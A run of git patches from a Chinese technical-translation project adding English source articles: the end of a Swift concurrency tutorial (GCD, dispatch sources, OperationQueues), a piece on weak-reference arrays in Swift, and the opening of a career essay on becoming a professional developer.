+        print("Async on globalDefault, 5 times: "+String(id))
+    }
+}   
+
+globalDefault.async (flags: .barrier) {
+    print("All 5 concurrent tasks completed")
+}
+
+```
+
+### Singletons and Dispatch_once ###
+
+As you could have already noticed, in Swift 3 there is no equivalent of `dispatch_once`, a function used most of the times to build thread-safe singletons.
+
+Luckily, Swift guarantees that global variables are initialized atomically and if you consider that constants can’t change their value after initialization, these two properties make global constants a great candidate to easily implement singletons:
+
+```
+
+final classSingleton {
+
+    publicstaticlet sharedInstance: Singleton = Singleton()
+
+    privateinit() { }
+
+    ...
+}
+
+```
+
+We’ll declare the class as `final` to deny the ability to subclass and we’ll make the designated initializer private, so that it will not be possible to manually create additional instances of this object. A public static constant will be the only entry point of the singleton and will be used to retrieve the single, shared, instance.
+
+The same behaviour can be used to define blocks of code that will be executed only once:
+
+```
+func runMe() {
+    struct Inner {
+        staticlet i: () = {
+            print("Once!")
+        }()
+    }
+    Inner.i
+}
+
+runMe()
+runMe() // Constant already initialized
+runMe() // Constant already initialized
+```
+
+It’s not really pretty to look at but it works, and it could be an acceptable implementation if it’s just a *one time thing™*.
+
+But if we need to replicate exactly the functionality and API of `dispatch_once` we need to implement it from scratch, as described in the [synchronized blocks section](#on-synchronized-blocks) with an extension:
+
+```
+
+import Foundation
+
+public extension DispatchQueue {
+    
+    privatestaticvar onceTokens = [Int]()
+    privatestaticvar internalQueue = DispatchQueue(label: "dispatchqueue.once")
+    
+    public class func once(token: Int, closure: (Void)->Void) {
+        internalQueue.sync {
+            if onceTokens.contains(token) {
+                return
+            }else{
+                onceTokens.append(token)
+            }
+            closure()
+        }
+    }
+}
+
+let t = 1
+DispatchQueue.once(token: t) {
+    print("only once!")
+}
+DispatchQueue.once(token: t) {
+    print("Two times!?")
+}
+DispatchQueue.once(token: t) {
+    print("Three times!!?")
+}
+
+```
+
+As expected, only the first of the three closures will be actually executed.
+
+Alternatively, something with slightly better performance can be built using `objc_sync_enter` and `objc_sync_exit` if they are available on your platform:
+
+```
+
+import Foundation
+
+public extension DispatchQueue {
+    
+    privatestatic var _onceTokens = [Int]()
+    
+    publicclass func once(token: Int, closure: (Void)->Void) {
+        objc_sync_enter(self);
+        defer { objc_sync_exit(self) }
+        
+        if _onceTokens.contains(token) {
+            return
+        }else{
+            _onceTokens.append(token)
+        }
+        closure()
+    }
+}
+
+```
+
+### Dispatch Groups ###
+
+If you have multiple tasks, even if added to different queues, and want to wait for their completion, you can group them in a dispatch group.
+
+Let’s see an example, a task can be added to a specific group directly with the *sync* or *async* call:
+
+```
+let mygroup = DispatchGroup()
+
+for i in0..<5 {
+    globalDefault.async(group: mygroup){
+        sleep(UInt32(i))
+        print("Group async on globalDefault:"+String(i))
+    }
+}
+
+```
+
+The tasks are executed on `globalDefault`, but we can register an handler for `mygroup` completion that will execute a closure on the queue we prefer once all of them will be completed. The `wait()` method can be used to perform a blocking wait.
+
+```
+print("Waitingforcompletion...")
+mygroup.notify(queue: globalDefault) {
+    print("Notify received, done waiting.")
+}
+mygroup.wait()
+print("Done waiting.")
+
+```
+
+Another way to do track a task with groups, consists in manually entering and leaving a group instead of specifying it when performing the call on the queue:
+
+```
+
+for i in 0..<5 {
+    mygroup.enter()
+    sleep(UInt32(i))
+    print("Group sync on MAINQ:"+String(i))
+    mygroup.leave()
+}
+
+```
+
+### Dispatch Work Items ###
+
+Closures are not the only way to specify a job that needs to be executed by a queue, sometimes you might need a container type able to keep track of its execution status and for that we have `DispatchWorkItem`. Every method that accepts a closure has a variant for work items.
+
+Work Items encapsulate a closure that is executed by the thread pool of the queue invoking the `perform()` method:
+
+```
+let workItem = DispatchWorkItem {
+    print("Done!")
+}
+
+workItem.perform()
+
+```
+
+And WorkItems also provide other useful methods, like `notify` that as it did with groups allows to perform a closure on a specific queue on completion:
+
+```
+workItem.notify(queue: DispatchQueue.main) {
+    print("Notify on Main Queue!")
+}
+
+defaultQueue.async(execute: workItem)
+
+```
+
+We can also wait until the closure has been executed or flag it for removal before the queue tries to execute it with the `cancel()` method (that *does not* cancel closures during execution).
+
+```
+print("Waiting for work item...")
+workItem.wait()
+print("Done waiting.")
+
+workItem.cancel()
+
+```
+
+But it’s important to know that `wait()` doesn’t just block the current thread waiting for completion but also *elevates* the priority of all the preceding work items in its queue, to try to complete this specific item as soon as possible.
+
+### Dispatch Semaphores ###
+
+Dispatch Semaphores are locks that can be acquired by more than one thread depending on the current value of a counter.
+
+Threads `wait` on a semaphore when the counter, decremented every time the semaphore is acquired, reaches 0.
+
+A slot to access the semaphore is released for the waiting threads calling `signal` that has the effect of incrementing the counter.
+
+Let’s see a simple example:
+
+```
+
+let sem = DispatchSemaphore(value: 2)
+
+// The semaphore will be held by groups of two pool threads
+globalDefault.sync {
+    DispatchQueue.concurrentPerform(iterations: 10) { (id:Int) in
+        sem.wait(timeout: DispatchTime.distantFuture)
+        sleep(1)
+        print(String(id)+" acquired semaphore.")
+        sem.signal()
+    }
+}
+
+```
+
+### Dispatch Assertions ###
+
+Swift 3 introduces a new function to perform assertions on the current execution context, that allows to verify if a closure is being executed on the expected queue. We can build predicates using the three enum cases of `DispatchPredicate`: `.onQueue`, to verify that we are on a specific queue, `.notOnQueue`, to verify the opposite and `.onQueueAsBarrier` to check if the current closure or work item are acting as a barrier on a queue.
+
+```
+dispatchPrecondition(condition: .notOnQueue(mainQueue))
+dispatchPrecondition(condition: .onQueue(queue))
+
+```
+
+#### *The playgrounds for this and other articles are available from [GitHub](https://github.com/uraimo/Swift-Playgrounds) or [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip).* ####
+
+### Dispatch Sources ###
+
+Dispatch Sources are a convenient way to handle system-level asynchronous events like kernel signals or system, file and socket related events using event handlers.
+
+There are a few kind of Dispatch Sources available, that can be grouped as follow:
+
+- **Timer Dispatch Sources:** *Used to generate events at a specific point in time or periodic events (DispatchSourceTimer).*
+- **Signal Dispatch Sources:** *Used to handle UNIX signals (DispatchSourceSignal).*
+- **Memory Dispatch Sources:** *Used to register for notifications related to the memory usage status (DispatchSourceMemoryPressure).*
+- **Descriptor Dispatch Sources:** *Used to register for different events related to files and sockets (DispatchSourceFileSystemObject, DispatchSourceRead, DispatchSourceWrite).*
+- **Process dispatch sources:** *Used to monitor external process for some events related to their execution state (DispatchSourceProcess).*
+- **Mach related dispatch sources:** *Used to handle events related to the [IPC facilities](http://fdiv.net/2011/01/14/machportt-inter-process-communication) of the Mach kernel (DispatchSourceMachReceive, DispatchSourceMachSend).*
+
+And you can also build your own dispatch sources if needed. All dispatch sources conform to the `DispatchSourceProtocol` protocol that defines the basic operations required to register handlers and modify the activation state of the Dispatch Source.
+
+Let’s see an example with `DispatchSourceTimer` to understand how to use these objects.
+
+Sources are created with the utility methods provided by `DispatchSource`, in this snippet we’ll use `makeTimerSource`, specifying the dispatch queue that we want to use to execute the handler.
+
+Timer Sources don’t have other parameters, so we’ll just need to specify the queue to create a source, as we’ll see, dispatch source able to handle multiple events will usually require that you specify the identifier of the event you want to handle.
+
+```
+
+let t = DispatchSource.makeTimerSource(queue: DispatchQueue.global())
+t.setEventHandler{ print("!") }
+t.scheduleOneshot(deadline: .now() + .seconds(5), leeway: .nanoseconds(0))
+t.activate()
+
+```
+
+Once the Source is created, we register an event handler with `setEventHandler(closure:)` and if no other configurations are required enable the dispatch source with `activate()` (previous releases of libDispatch used the *resume()* method for this purpose).
+
+Dispatch Sources are initially inactive, meaning that they will not start delivering events right away allowing further configuration. Once we are ready, the source can be activated with `activate()` and if needed the event delivery can be temporarily suspended with `suspend()` and resumed with `resume()`.
+
+Timer Sources require an additional step to configure which kind of timed events the object will deliver. In the example above we are defining a single event that will be delivered 5 seconds after the registration with a strict deadline.
+
+We could have also configured the object to deliver periodic events, like we could have done with the [Timer](/swiftbites/nstimer-in-swift-3/) object:
+
+```
+t.scheduleRepeating(deadline: .now(), interval: .seconds(5), leeway: .seconds(1))
+
+```
+
+When we are done with a dispatch source and we want to just stop completely the delivery of events, we’ll call `cancel()`, that will stop the event source, call the cancellation handler if we did set one and perform some final cleanup operations like unregistering the handlers.
+
+```
+t.cancel()
+
+```
+
+The API is still the same for the other dispatch source types, let’s see for example how [Kitura](https://github.com/IBM-Swift/Kitura-net/blob/master/Sources/KituraNet/IncomingSocketHandler.swift#L96) initializes the read source it uses to handle asynchronous reads on an established socket:
+
+```
+
+readerSource = DispatchSource.makeReadSource(fileDescriptor: socket.socketfd,
+                                             queue: socketReaderQueue(fd: socket.socketfd))
+
+readerSource.setEventHandler() {
+    _ = self.handleRead()
+}
+readerSource.setCancelHandler(handler: self.handleCancel)
+readerSource.resume()
+
+```
+
+The function `handleRead()` will be called on a dedicated queue when new bytes will be available in the socket’s incoming data buffer. Kitura also uses a *WriteSource* to perform buffered writes, using the dispatch source events [to efficiently pace the writes](https://github.com/IBM-Swift/Kitura-net/blob/master/Sources/KituraNet/IncomingSocketHandler.swift#L328), writing new bytes as soon as the socket channel is ready to send them. When doing I/O, read/write dispatch sources can be a good high level alternative to other lower level APIs you’ll normally use on *nix platforms.
+
+And on the topic of dispatch sources related to files, another one that could be useful in some use cases is `DispatchSourceFileSystemObject`, that allows to listen to changes to a specific file, from its name down to changes to its attributes. With this dispatch source you’ll be also able to receive notifications if a file has been modified or deleted, essentially a subset of the events that on Linux are managed by the *inotify* kernel subsystem.
+
+The remaining source types operate similarly, you can check out the complete list of what’s available in [libDispatch’s documentation](https://developer.apple.com/reference/dispatch/dispatchsource) but remember that some of them like the Mach sources and the memory pressure source will work only on Darwin platforms.
+
+## Operations and OperationQueues ##
+
+Let’s talk briefly of Operation Queues, and additional API built on top of GCD, that uses concurrent queues and models tasks as Operations, that are easy to cancel and that can have their execution depend on other operations completion.
+
+Operations can have a priority, which defines the order of execution, and are added to `OperationQueues` that be executed asynchronously.
+
+Let’s see a basic example:
+
+```
+
+var queue = OperationQueue()
+queue.name = "My Custom Queue"queue.maxConcurrentOperationCount = 2
+
+var mainqueue = OperationQueue.main //Refers to the queue of the main threadqueue.addOperation{
+    print("Op1")
+}
+queue.addOperation{
+    print("Op2")
+}
+
+```
+
+We can also create a *Block Operation* object and configure it before adding it to the queue and if needed we can also add more than one closure to this kind of operations.
+
+Note that `NSInvocationOperation`, that creates an operation with target+selector, is not available in Swift.
+
+```
+var op3 = BlockOperation(block: {
+    print("Op3")
+})
+op3.queuePriority = .veryHigh
+op3.completionBlock = {
+    if op3.isCancelled {
+        print("Someone cancelled me.")
+    }
+    print("Completed Op3")
+}
+
+var op4 = BlockOperation {
+    print("Op4 always after Op3")
+    OperationQueue.main.addOperation{
+        print("I'm on main queue!")
+    }
+}
+
+```
+
+Operations can have a priority and a secondary completion closure that will be run once the main closure completes.
+
+We can add a dependency from `op4` to `op3`, so that `op4` will wait for the completion of `op3` to execute.
+
+```
+
+op4.addDependency(op3)
+
+queue.addOperation(op4)  // op3 will complete before op4, alwaysqueue.addOperation(op3)
+
+```
+
+Dependencies can also be removed with `removeDependency(operation:)` and are stored in a publicly accessible `dependencies` array.
+
+The current state of an operation can be examined using specific properties:
+
+```
+
+op3.isReady       //Ready for execution?
+op3.isExecuting   //Executing now?
+op3.isFinished    //Finished naturally or cancelled?
+op3.isCancelled    //Manually cancelled?
+```
+
+You can cancel all the operations present in a queue calling the `cancelAllOperations` method, that sets the `isCancelled` flag on the operations remaining in the queue. A single operation can be canceled invoking its `cancel` method:
+
+```
+queue.cancelAllOperations() 
+
+op3.cancel()
+
+```
+
+It’s recommended to check the `isCancelled` property inside your operation to skip execution if the operation was cancelled after it was scheduled to run by the queue.
+
+And finally, you can also stop the execution of new operations on an operation queue (the currently running operation will not be affected):
+
+```
+queue.isSuspended = true
+```
+
+#### *The playgrounds for this and other articles are available from [GitHub](https://github.com/uraimo/Swift-Playgrounds) or [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip).* ####
+
+## Closing Thoughts ##
+
+This article should have given you a good summary of what is possible today from the point of view of concurrency using the external frameworks that are available from Swift.
+
+Part 2 will focus on what could come next, in term of language facilities that could handle concurrency “natively”, without resorting to external libraries. A few interesting paradigms will be described with the help of a few open source implementations already available today.
+
+I hope that these two articles will be a good introduction to the world of concurrency and that they will help you understand and participate to the discussions that will take place on the swift-evolution mailing list when the community will start considering what to introduce in, let’s hope, Swift 5.
+
+For more interesting content on concurrency and Swift, check out the [Cocoa With Love](https://www.cocoawithlove.com/tags/asynchrony.html) blog.
+
+Did you like this article? Let me know [on Twitter](https://www.twitter.com/uraimo)!
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 5bc3d296324d18c8406a8aff897516ac861a4107 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 22:00:01 +0800
Subject: [PATCH 498/638] Create
 swift-arrays-holding-elements-weak-references.md

---
 ...arrays-holding-elements-weak-references.md | 345 ++++++++++++++++++
 1 file changed, 345 insertions(+)
 create mode 100644 TODO/swift-arrays-holding-elements-weak-references.md

diff --git a/TODO/swift-arrays-holding-elements-weak-references.md b/TODO/swift-arrays-holding-elements-weak-references.md
new file mode 100644
index 00000000000..fb9e033e853
--- /dev/null
+++ b/TODO/swift-arrays-holding-elements-weak-references.md
@@ -0,0 +1,345 @@
+> * 原文地址：[Swift Arrays Holding Elements With Weak References](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/)
+> * 原文作者：[Marco Santarossa](https://marcosantadev.com/about-me/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# [Swift Arrays Holding Elements With Weak References](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/) #
+
+![](https://marcosantadev.com/wp-content/uploads/header-1.jpg)
+
+In iOS development there are moments where you ask yourself: “To weak, or not to weak, that is the question”. Let’s see how “to weak” with the arrays.
+
+# Overview #
+
+*In this article, I speak about memory management without explaining it since it would be beyond the goal of this article. The [official documentation](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html) is a good starting point to learn this subject. Then, if you have other doubts, please leave a comment and I’ll reply as soon as possible.*
+
+`Array` is the most popular collection in Swift. By default, it maintains a strong references of its elements. Even if this behaviour is useful most of the time, you might have some scenarios where you would want to use weak references. For this reason, Apple provides an alternative to `Array` which maintains weak references of its elements: **NSPointerArray**.
+
+Before looking at this class, let’s see and example to understand why we should use it.
+
+# Why Weak References? #
+
+Let’s use, as example, a `ViewManager` class which has two properties of type `View`. In its constructor, we add these views in an array to inject inside `Drawer`—which uses this array to draw something inside the views. Finally, we have a method `destroyViews` to destroy the two `View`s:
+
+```
+class View { }
+ 
+class Drawer {
+ 
+    private let views: [View]
+ 
+    init(views: [View]) {
+        self.views = views
+    }
+ 
+    func draw() {
+        // draw something in views
+    }
+}
+ 
+class ViewManager {
+ 
+    private var viewA: View? = View()
+    private var viewB: View? = View()
+    private var drawer: Drawer
+ 
+    init() {
+        self.drawer = Drawer(views: [viewA!, viewB!])
+    }
+ 
+    func destroyViews() {
+        viewA = nil
+        viewB = nil
+    }
+}
+```
+ 
+
+Unfortunately, `destroyViews` doesn’t destroy the two views because the array inside `Drawer` is maintaining a strong reference of the views. We can avoid this problem replacing the array with a `NSPointerArray`.
+
+# [NSPointerArray](https://developer.apple.com/reference/foundation/nspointerarray) #
+
+`NSPointerArray` is an alternative to `Array` with the main difference that it doesn’t store an object but its pointer (`UnsafeMutableRawPointer`).
+
+This type of array can store the pointer maintaining either a weak or a strong reference depending on how it’s initialised. It provides two static methods to be initialised in different ways:
+
+```
+let strongRefarray = NSPointerArray.strongObjects() // Maintains strong references
+let weakRefarray = NSPointerArray.weakObjects() // Maintains weak references
+```
+ 
+
+Since we want an array of weak references, we’ll use `NSPointerArray.weakObjects()`.
+
+Now, we can add a new object in this array:
+
+```
+class MyClass { }
+ 
+var array = NSPointerArray.weakObjects()
+ 
+let obj = MyClass()
+let pointer = Unmanaged.passUnretained(obj).toOpaque()
+array.addPointer(pointer)
+```
+
+Since using the pointer may be annoying, you can use this extension which I made to simplify the `NSPointerArray`:
+
+```
+extension NSPointerArray {
+    func addObject(_ object: AnyObject?) {
+        guard let strongObject = object else { return }
+ 
+        let pointer = Unmanaged.passUnretained(strongObject).toOpaque()
+        addPointer(pointer)
+    }
+ 
+    func insertObject(_ object: AnyObject?, at index: Int) {
+        guard index < count, let strongObject = object else { return }
+ 
+        let pointer = Unmanaged.passUnretained(strongObject).toOpaque()
+        insertPointer(pointer, at: index)
+    }
+ 
+    func replaceObject(at index: Int, withObject object: AnyObject?) {
+        guard index < count, let strongObject = object else { return }
+ 
+        let pointer = Unmanaged.passUnretained(strongObject).toOpaque()
+        replacePointer(at: index, withPointer: pointer)
+    }
+ 
+    func object(at index: Int) -> AnyObject? {
+        guard index < count, let pointer = self.pointer(at: index) else { return nil }
+        return Unmanaged<AnyObject>.fromOpaque(pointer).takeUnretainedValue()
+    }
+ 
+    func removeObject(at index: Int) {
+        guard index < count else { return }
+ 
+        removePointer(at: index)
+    }
+}
+```
+
+Thanks to this extension, you can replace the previous example with:
+
+```
+var array = NSPointerArray.weakObjects()
+ 
+let obj = MyClass()
+array.addObject(obj)
+``` 
+
+If you want to clean the array removing the objects with value `nil`, you can call the method `compact()`:
+
+```
+array.compact()
+```
+ 
+At this point, we can refactor the example used in “Why Weak References?” with the following code:
+
+```
+class View { }
+ 
+class Drawer {
+ 
+    private let views: NSPointerArray
+ 
+    init(views: NSPointerArray) {
+        self.views = views
+    }
+ 
+    func draw() {
+        // draw something in views
+    }
+}
+ 
+class ViewManager {
+ 
+    private var viewA: View? = View()
+    private var viewB: View? = View()
+    private var drawer: Drawer
+ 
+    init() {
+        let array = NSPointerArray.weakObjects()
+        array.addObject(viewA)
+        array.addObject(viewB)
+        self.drawer = Drawer(views: array)
+    }
+ 
+    func destroyViews() {
+        viewA = nil
+        viewB = nil
+    }
+}
+ 
+```
+
+Note:
+
+1. You may have noticed that `NSPointerArray` stores pointers of `AnyObject` only, it means that you can store just classes—so neither structs nor enums. You can store protocols if they have the keyword [`class`](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html#//apple_ref/doc/uid/TP40014097-CH25-ID281):
+
+```
+protocolMyProtocol: class{}
+```
+
+2. If you want to play with `NSPointerArray`, I suggest you to avoid the Playground since you may have odd behaviours with the retain count. A sample app would be better.
+
+# Alternatives #
+
+`NSPointerArray` is very useful to store objects maintaining weak references, but it has a problem: it’s not type-safe.
+
+For “not type-safe”, I mean that the compiler is not able to infer the type of the objects inside `NSPointerArray`, since it uses pointers of objects `AnyObject`. For this reason, when you get an object from the array, you must cast it to your object type:
+
+```
+ifletfirstObject=array.object(at:0)as?MyClass{// Cast to MyClass
+
+    print("The first object is a MyClass")
+
+}
+
+``` 
+
+*`object(at:)` comes from my `NSPointerArray` extension which I shown previously.*
+
+If we want to use a type-safe alternative we can’t use `NSPointerArray` anymore.
+
+A possible workaround is creating a new class `WeakRef` with a generic weak property `value`:
+
+```
+classWeakRef<T>whereT: AnyObject{
+
+    private(set)weakvarvalue:T?
+
+    init(value:T?){
+
+        self.value=value
+
+    }
+
+}
+```
+ 
+
+*`private(set)` exposes `value` in read-only mode, in this way no one can set its value from outside the class.*
+
+Then, we can create an array of `WeakRef`, where `value` is your `MyClass` object to store:
+
+```
+vararray=[WeakRef<MyClass>]()
+
+ 
+
+letobj=MyClass()
+
+letweakObj=WeakRef(value:obj)
+
+array.append(weakObj)
+``` 
+
+Now, we have an array type-safe which maintains a weak reference of your `MyClass` objects. The disadvantage of this approach is that we must add an extra layer in our code (`WeakRef`) to wrap the weak reference in a type-safe way.
+
+If you want to clean the array removing the objects with value `nil`, you can write the following method:
+
+```
+funccompact(){
+
+    array=array.filter{$0.value!=nil}
+
+}
+```
+
+*`filter` returns a new array with the elements that satisfy the given predicate. You can find more details in the [documentation](https://developer.apple.com/reference/swift/array/1688383-filter).*
+
+Now, we can refactor the example used in “Why Weak References?” with the following code:
+
+```
+class View { }
+ 
+class Drawer {
+ 
+    private let views: [WeakRef<View>]
+ 
+    init(views: [WeakRef<View>]) {
+        self.views = views
+    }
+ 
+    func draw() {
+        // draw something in views
+    }
+}
+ 
+class ViewManager {
+ 
+    private var viewA: View? = View()
+    private var viewB: View? = View()
+    private var drawer: Drawer
+ 
+    init() {
+        var array = [WeakRef<View>]()
+        array.append(WeakRef<View>(value: viewA))
+        array.append(WeakRef<View>(value: viewB))
+        self.drawer = Drawer(views: array)
+    }
+ 
+    func destroyViews() {
+        viewA = nil
+        viewB = nil
+    }
+}
+```
+
+A cleaner version using the typealias:
+
+```
+typealias WeakRefView = WeakRef<View>
+ 
+class View { }
+ 
+class Drawer {
+ 
+    private let views: [WeakRefView]
+ 
+    init(views: [WeakRefView]) {
+        self.views = views
+    }
+ 
+    func draw() {
+        // draw something in views
+    }
+}
+ 
+class ViewManager {
+    private var viewA: View? = View()
+    private var viewB: View? = View()
+    private var drawer: Drawer
+ 
+    init() {
+        var array = [WeakRefView]()
+        array.append(WeakRefView(value: viewA))
+        array.append(WeakRefView(value: viewB))
+        self.drawer = Drawer(views: array)
+    }
+ 
+    func destroyViews() {
+        viewA = nil
+        viewB = nil
+    }
+}
+```
+ 
+# Dictionary And Set #
+
+This article has the main focus on `Array`, if you need something similar to `NSPointerArray` for `Dictionary` you can have a look at [NSMapTable](https://developer.apple.com/reference/foundation/nsmaptable), whereas for `Set` you can use [NSHashTable](https://developer.apple.com/reference/foundation/nshashtable).
+
+If you want a type-safe `Dictionary`/`Set`, you can achieve it storing a `WeakRef` object.
+
+# Conclusion #
+
+I guess you are not going to use arrays with weak references very often, but it’s not an excuse not to know how to achieve it. In iOS development the memory management is very important to avoid memory leaks, since iOS doesn’t have a garbage collector. ¯\_(ツ)_/¯
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From c65f8e2f95be05253a6497bbc5c9aecf49d937d3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 19 May 2017 22:14:32 +0800
Subject: [PATCH 499/638] Create
 how-to-go-from-hobbyist-to-professional-developer.md

---
 ...from-hobbyist-to-professional-developer.md | 309 ++++++++++++++++++
 1 file changed, 309 insertions(+)
 create mode 100644 TODO/how-to-go-from-hobbyist-to-professional-developer.md

diff --git a/TODO/how-to-go-from-hobbyist-to-professional-developer.md b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
new file mode 100644
index 00000000000..fc02003291a
--- /dev/null
+++ b/TODO/how-to-go-from-hobbyist-to-professional-developer.md
@@ -0,0 +1,309 @@
+> * 原文地址：[How to Go From Hobbyist to Professional Developer](https://medium.freecodecamp.com/how-to-go-from-hobbyist-to-professional-developer-11a8b8a52b5f)
+> * 原文作者：[Ken Rogers](https://medium.freecodecamp.com/@kenrogers)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# How to Go From Hobbyist to Professional Developer #
+
+![](https://cdn-images-1.medium.com/max/2000/1*LZZ9Sr4XL7j2-LjSJ5uq9Q.jpeg)
+
+A few years ago, I was bouncing back and forth between landscaping jobs and restaurant jobs. I had just left college, and didn’t know what I was going to do with my life.
+
+I had a lot of ideas, but no direction. During that time, I started teaching myself programming. At first it was a hobby. I thought it was cool to be able to build things using nothing but my brain and some code.
+
+But then I started thinking about where my life was going, and saw this as a potential living.
+
+At first, I put the idea out of my head. I couldn’t afford real education. I already dropped out of college once because of money, and if I went in for computer science, I’d have to start over.
+
+I’d leave with 6 years of school and well over $50,000 in debt if I took that route. So that wasn’t an option.
+
+Then I started thinking that I could teach myself web development well enough to get an internship.
+
+My initial plan was to introduce myself to a few companies in my town, and ask if they would want to meet with me. I wanted to discuss the potential of me working with them while I was in school. That way I could pay for school and get some experience at the same time.
+
+So I got serious about web development.
+
+Instead of tinkering I started to build a real portfolio and document my skills.
+
+I started becoming active on places like Stack Overflow.
+
+I built a few practical applications and put them on GitHub. They were nothing fancy, but they demonstrated that I knew how to code.
+
+One company didn’t offer me a part time job. They didn’t say to come back after I had my degree. They offered me a full-time job on a 6 month trial basis as their new Junior Developer.
+
+I was over the moon. It turns out that once I got serious and started developing with a purpose, I taught myself quite a bit.
+
+I was able to answer their questions. I was able to walk them through the modest applications I had built. And I was able to explain how my projects worked.
+
+I stayed at that company for two and a half years, and then took a job as a web developer for the city I live in.
+
+### View yourself as a lifelong apprentice ###
+
+An important part of my transition into a professional developer role was viewing the time I spent with my previous company as an apprenticeship. I learned as much as I could.
+
+The real-world knowledge gained from working at a company is invaluable. Knowing how to work with clients, coworkers, and within constraints is essential. This is something you can only learn in the field.
+
+While I may know more now than I did when I first started that job, I’ll never stop viewing myself as an apprentice. One of the requirements for being a great developer is the desire to continue learning. The minute we see ourselves as having mastered a skill is the minute we stop growing.
+
+Hemingway said it best:
+
+> We are all apprentices in a craft where no one ever becomes a master.
+
+He was talking about writing, but it applies to development as well.
+
+The combination of teaching myself and working for a company has allowed me to learn so much ([I’m even writing a book](http://meteorandreact.com/)). I understand the technical practice of web development, and also how to go from a hobbyist to a professional. It’s a path that anyone can take, regardless of your time or abilities.
+
+To give you some perspective, I was working two jobs at once — one of which involved getting up at 4 a.m. to drive a forklift around.
+
+Learning to code as a busy adult takes determination, drive, and a stubborn persistence.
+
+### Making the transition from Hobbyist to Professional ###
+
+Here’s a process that you can follow. The exact journey will be different for everyone, but there are steps you can take to get you on the right path.
+
+#### 1. Realize that you can do this ####
+
+Anyone can teach themselves to be a developer. There’s this idea that being self-taught is something only a certain type of person can do. They’re right in a sense. You need to be self-driven and motivated by something other than immediate payment. But anyone can become this type of person.
+
+There’s this idea present in our society that some people are born with certain traits and others aren’t. It’s detrimental to growth, and one of the reasons why so many people feel unfulfilled in life.
+
+If you always felt that you either “had it” or you didn’t, it would be very easy to get discouraged.
+
+I want to put that myth to bed right now. Anyone can learn to be self-motivated and teach themselves programming. Or start a successful business. Or achieve a long-term goal.
+
+It’s not about catching a big break, or being born with the right traits. It’s about perseverance.
+
+If you can put your head down, push through the hard times, and commit, you can do anything you want to.
+
+That last part is super important, but I want to provide a warning before moving on.
+
+People are often too quick to embrace their own successes and the successes of others. It’s known as [survivorship bias](https://youarenotsosmart.com/2013/05/23/survivorship-bias/).
+
+There is an element of luck in everything. Sometimes things just work out. For example, I contacted a web development agency and was lucky enough that they happened to be looking for someone at that moment, and I happened to fit what they were looking for.
+
+But what is luck?
+
+Sure, I was lucky to get that job, but I never would have been lucky if I hadn’t made the decision to teach myself development. And then made the decision to apply to that job.
+
+Luck does play a factor, but the myth is that it is all up to luck. You can increase your odds of getting lucky, you just have to be willing to put yourself out there.
+
+But luck will never find you if you don’t commit to being great at something.
+
+#### 2. Commit to being incredible at your craft ####
+
+One of my biggest weaknesses is that I get bored and distracted. I want to jump into the next project. This tendency will kill your success.
+
+It feels like freedom. Being able to bounce between whatever project happens to suit your mood that day, but...
+
+![](https://cdn-images-1.medium.com/max/800/1*ZXYdFihJqlj0-mIlO1-t6g.jpeg)
+
+It’s a trap! If you take away nothing else from this article, let it be this:
+
+**The number one key to succeeding in becoming a professional developer is to commit. Commit and never stop until you make it happen.**
+
+This applies to everything.
+
+People stress out about which framework to use. But what matters is picking one and sticking with it. You can transfer and learn new languages and frameworks later.
+
+What matters is the problem solving skills you will gain when developing. The ability to think like a developer.
+
+I taught myself programming using Laravel, but the company that hired me used CakePHP. It didn’t matter. They knew I could pick up the technical skills required to switch frameworks.
+
+Pick a direction and see it through, no matter what. You have to remove the possibility of getting distracted by something else.
+
+Few feelings can compare to the relentless pursuit of mastery of a craft.
+
+It isn’t easy. Once you learn to ignore distractions, you will notice an increase in enjoyment of your work.
+
+Mike Rowe is fond of saying that people shouldn’t start with finding their passion.
+
+People are so unhappy because they look for the perfect career. They look for the one that they are passionate about.
+
+But passion comes from an unstoppable desire to be incredible at your craft. Once you adopt that mindset, your abilities as a developer will take on a new life.
+
+#### 3. Start building things immediately ####
+
+Aspiring developers can get stuck in the trap of reading too much without taking action.
+
+Tutorials and books are great for learning the basics. The problem is that they instill a false sense of confidence in the developer.
+
+Have you ever finished a programming book and gone to build something on your own only to realize you had no idea how to go about doing it? Then you know what I’m talking about.
+
+The solution to this is simple, but not easy.
+
+Start building.
+
+Make something. Make an app that solves a problem you have in your own life, or that addresses an issue for someone close to you.
+
+Make something for fun.
+
